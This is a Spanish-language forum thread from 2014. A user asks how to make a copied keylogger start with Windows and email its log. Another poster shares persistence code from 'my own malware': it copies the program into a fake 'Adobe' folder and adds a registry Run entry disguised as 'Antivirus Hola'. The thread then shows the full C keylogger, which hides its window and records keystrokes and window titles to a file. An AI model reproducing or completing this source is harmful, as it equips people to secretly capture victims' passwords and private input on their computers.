Título: Añadir keylogger al registro, y envio por email. Publicado por: josefort360 en 20 Agosto 2014, 20:59 pm Hola, e cojido de esta pagina un codigo de keylogger, pero nose como hacer para añadirlo al registro y que se ejecute al inicio, y hacer que se envie el log por email, aqui os dejo el codigo.
Código: /* Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: тαптяα en 20 Agosto 2014, 22:48 pm Puedes probar a escribir un script en Batch para el inicio automático.
Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: harry_the_blogger en 20 Agosto 2014, 23:51 pm Yo te puedo dar un fragmento de codigo de mi propio malware que te permita iniciar con Windows. Espero que te sirva, analizalo, y pruebalo para saber si es lo que buscas. Lo he comentado en ingles, para que se vea mas profesional. Deberías aprender ese idioma para poder participar en foros de habla inglesa.
Código
Yo te recomiendo que hagas tu keylogger en C puro, sin usar C++ o Batch. ¿Por que razón? Porque es más eficiente y profesional usar C. Batch no sirve para crear malware de verdad. Espero que mi codigo te haya sido util. Si alguna cosa, no dudes en venir al foro de nuevo. Aqui estamos para ayudarnos mutuamente. Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: josefort360 en 21 Agosto 2014, 00:45 am Hola, muchas gracias por el code, pero me da errores, lo mismo es por mi ignorancia, lo e dejado asi, podrias mirar haber si esta bien?
Código: /* Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: harry_the_blogger en 21 Agosto 2014, 00:57 am Debes aprender más sobre programacion en C. Por lo que veo, solo es cuestion de agregar una llamada a la funcion que inicia con Windows en el cuerpo de la funcion main. Hasta aqui te puedo ayudar. Son errores simples, solo debes conocer el lenguaje C, y en eso no te puedo ayudar.
Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: josefort360 en 21 Agosto 2014, 01:00 am Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd.
Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: engel lex en 21 Agosto 2014, 04:38 am Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd. o aprendes o lo dejas, demasiado facilismo dar un codigo que no es tuyo y que te lo den arreglado... por cierto al insertar codigo usa las etiquetas geshi Título: Re: Añadir keylogger al registro, y envio por email. Publicado por: josefort360 en 21 Agosto 2014, 13:19 pm Citar /* Veran, ya pude poner bien la funcion, pero lo que pasa es que en el registro no registra nada, que es lo que esta mal?Código de muestra de un keyloguer básico - Coded by Lympex ---------------------------------------------------------- Características: - Se inicia en la ruta donde sea ejecutado - No se añade al registro - Guarda un log de todos los sucesos así como de las teclas pulsadas, en el archivo "LgPh.log" con el título de la ventana y la fecha - Contacto: Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk */ /*cabeceras*/ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <time.h> /*para el log*/ FILE *logg; /*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/ #define OK -32767 /*para el hwnd de la ventana activa*/ HWND ventana; /*============================================================== ==============================================================*/ int main(int argc, char *argv[]) { /*realiza un seguimiento de las teclas pulsadas*/ void KeyLogger(); /*ocultamos la ventana antes que nada*/ ventana=GetForegroundWindow(); ShowWindow(ventana,SW_HIDE); /*abrimos el log*/ logg=fopen("LgPh.log","a"); /*escribimos en el log*/ fprintf(logg,"\n------------------------------------\n"); fprintf(logg,"
/*comenzamos a loguear teclas*/ KeyLogger(); start_with_windows(); } int start_with_windows(){ char execution_dir[MAX_PATH]; char *program_files_variable; char path_destiny[MAX_PATH]; ///Gets from which directory the program is running HMODULE current_executable = GetModuleHandle(NULL); GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir)); ///Gets program files directory program_files_variable = getenv("C:\Program Files (x86)"); ///Copies the program files directory to the destiny path string strcpy(path_destiny, program_files_variable); strcat(path_destiny, "\Adobe"); ///Copies the file to the program files folder CopyFile(execution_dir, path_destiny, 0); ///Creates a registry key HKEY hKey; ///Opens the registry key "run" to start with Windows RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); ///Set the value of the new key. Put the path of the malware RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny)); RegCloseKey(hKey); ///Debugging purpouses //cout << execution_dir << endl; return 0; } /*============================================================== ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG ==============================================================*/ void KeyLogger() { //para obtener la hora del equipo time_t ltime; /*obtiene el código ascii de la tecla pulsada*/ int tecla=0; //para el texto de la vntana activa char TVentana[500]; //para almacenar las teclas que se pulsan char *Teclas; int k; //para recorrer el código ascii de las letras //el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch) char dominio[] = "abcdefghijklmnopqrstuvwxyz"; //idem char dominio_num[] = "0123456789"; //para escanear el numpad //limpiamos el buffer del teclado para no mezclar fflush(stdin); /*comenzamos a loguear*/ logg=fopen("LgPh.log","a"); fprintf(logg,"OK\n"); fclose(logg); //cojemos el hwnd de la ventana activa ventana=GetForegroundWindow(); //guardamos la memoria Teclas=calloc(1024,sizeof(char)); //mientras la variable 'loguea' sea TRUE do { /*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/ if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana { if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear { //cojemos la hora time(<ime); ctime(<ime); //como ha cambiado laventana, guardamos los datos logg=fopen("LgPh.log","a"); fprintf(logg,"\n\n
fprintf(logg,"\n %s",Teclas);//guardamos las teclas fclose(logg); //limpiamos la variable free(Teclas); Teclas=calloc(1024,sizeof(char)); } //cojemos el nuevo hwnd ventana=GetForegroundWindow(); }else{ //y ahora cojemos el nuevo texto de la ventana GetWindowText(ventana,TVentana,500); } /*creamos un bucle para saber qué tecla pulsa*/ for(tecla=4;tecla<256;tecla++) { if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla { //------------------------------------ /*ESCANEAMOS BUSCANDO CARACTERES A-Z*/ //------------------------------------ for(k=65;k<91;k++) { if(tecla==k) { Teclas[strlen(Teclas)]=dominio[tecla-65]; Teclas[strlen(Teclas)]='\0'; } } //----------------------------------------------- /*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/ //----------------------------------------------- for(k=96;k<106;k++) { if(tecla==k) { Teclas[strlen(Teclas)]=dominio_num[tecla-96]; Teclas[strlen(Teclas)]='\0'; } } //filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte switch(tecla) { /*Miramos los "F1,F2..."*/ case 112: strcat(Teclas,"[F1]"); break; case 113: strcat(Teclas,"[F2]"); break; case 114: strcat(Teclas,"[F3]"); break; case 115: strcat(Teclas,"[F4]"); break; case 116: strcat(Teclas,"[F5]"); break; case 117: strcat(Teclas,"[F6]"); break; case 118: strcat(Teclas,"[F7]"); break; case 119: strcat(Teclas,"[F8]"); break; case 120: strcat(Teclas,"[F9]"); break; case 121: strcat(Teclas,"[F10]"); break; case 122: strcat(Teclas,"[F11]"); break; case 123: strcat(Teclas,"[F13]"); break; case 27: strcat(Teclas,"[Escape]"); break; case 8: strcat(Teclas,"[Retroceso]"); break; case 13: strcat(Teclas,"[Enter]"); break; case 9: strcat(Teclas,"[Tabulado]"); break; case 20: strcat(Teclas,"[Bloq.Mayus.]"); break; case 160: strcat(Teclas,"[Shitf(Izq)]"); break; case 161: strcat(Teclas,"[Shitf(Dcha)]"); break; /*caracteres especiales*/ case 221: Teclas[strlen(Teclas)]='¡'; Teclas[strlen(Teclas)]='\0'; break; case 219: strcat(Teclas,"[']"); break; case 192: strcat(Teclas,"[ñ]"); break; case 32: strcat(Teclas," "); break; case 144: strcat(Teclas,"[Bloq Num]"); break; case 111: Teclas[strlen(Teclas)]='/'; Teclas[strlen(Teclas)]='\0'; break; case 106: Teclas[strlen(Teclas)]='*'; Teclas[strlen(Teclas)]='\0'; break; case 109: Teclas[strlen(Teclas)]='-'; Teclas[strlen(Teclas)]='\0'; break; case 220: Teclas[strlen(Teclas)]='\\'; Teclas[strlen(Teclas)]='\0'; break; case 49: Teclas[strlen(Teclas)]='1'; Teclas[strlen(Teclas)]='\0'; break; case 50: Teclas[strlen(Teclas)]='2'; Teclas[strlen(Teclas)]='\0'; break; case 51: Teclas[strlen(Teclas)]='3'; Teclas[strlen(Teclas)]='\0'; break; case 52: Teclas[strlen(Teclas)]='4'; Teclas[strlen(Teclas)]='\0'; break; case 53: Teclas[strlen(Teclas)]='5'; Teclas[strlen(Teclas)]='\0'; break; case 54: Teclas[strlen(Teclas)]='6'; Teclas[strlen(Teclas)]='\0'; break; case 55: Teclas[strlen(Teclas)]='7'; Teclas[strlen(Teclas)]='\0'; break; case 56: Teclas[strlen(Teclas)]='8'; Teclas[strlen(Teclas)]='\0'; break; case 57: Teclas[strlen(Teclas)]='9'; Teclas[strlen(Teclas)]='\0'; break; case 48: Teclas[strlen(Teclas)]='0'; Teclas[strlen(Teclas)]='\0'; break; case 188: Teclas[strlen(Teclas)]=','; Teclas[strlen(Teclas)]='\0'; break; case 189: Teclas[strlen(Teclas)]='-'; Teclas[strlen(Teclas)]='\0'; break; case 190: Teclas[strlen(Teclas)]='.'; Teclas[strlen(Teclas)]='\0'; break; default: //mostramos el caracter ascii de la tecla pulsada //printf("{%d}",tecla); break; }; } } _sleep(100); }while (1<2); } |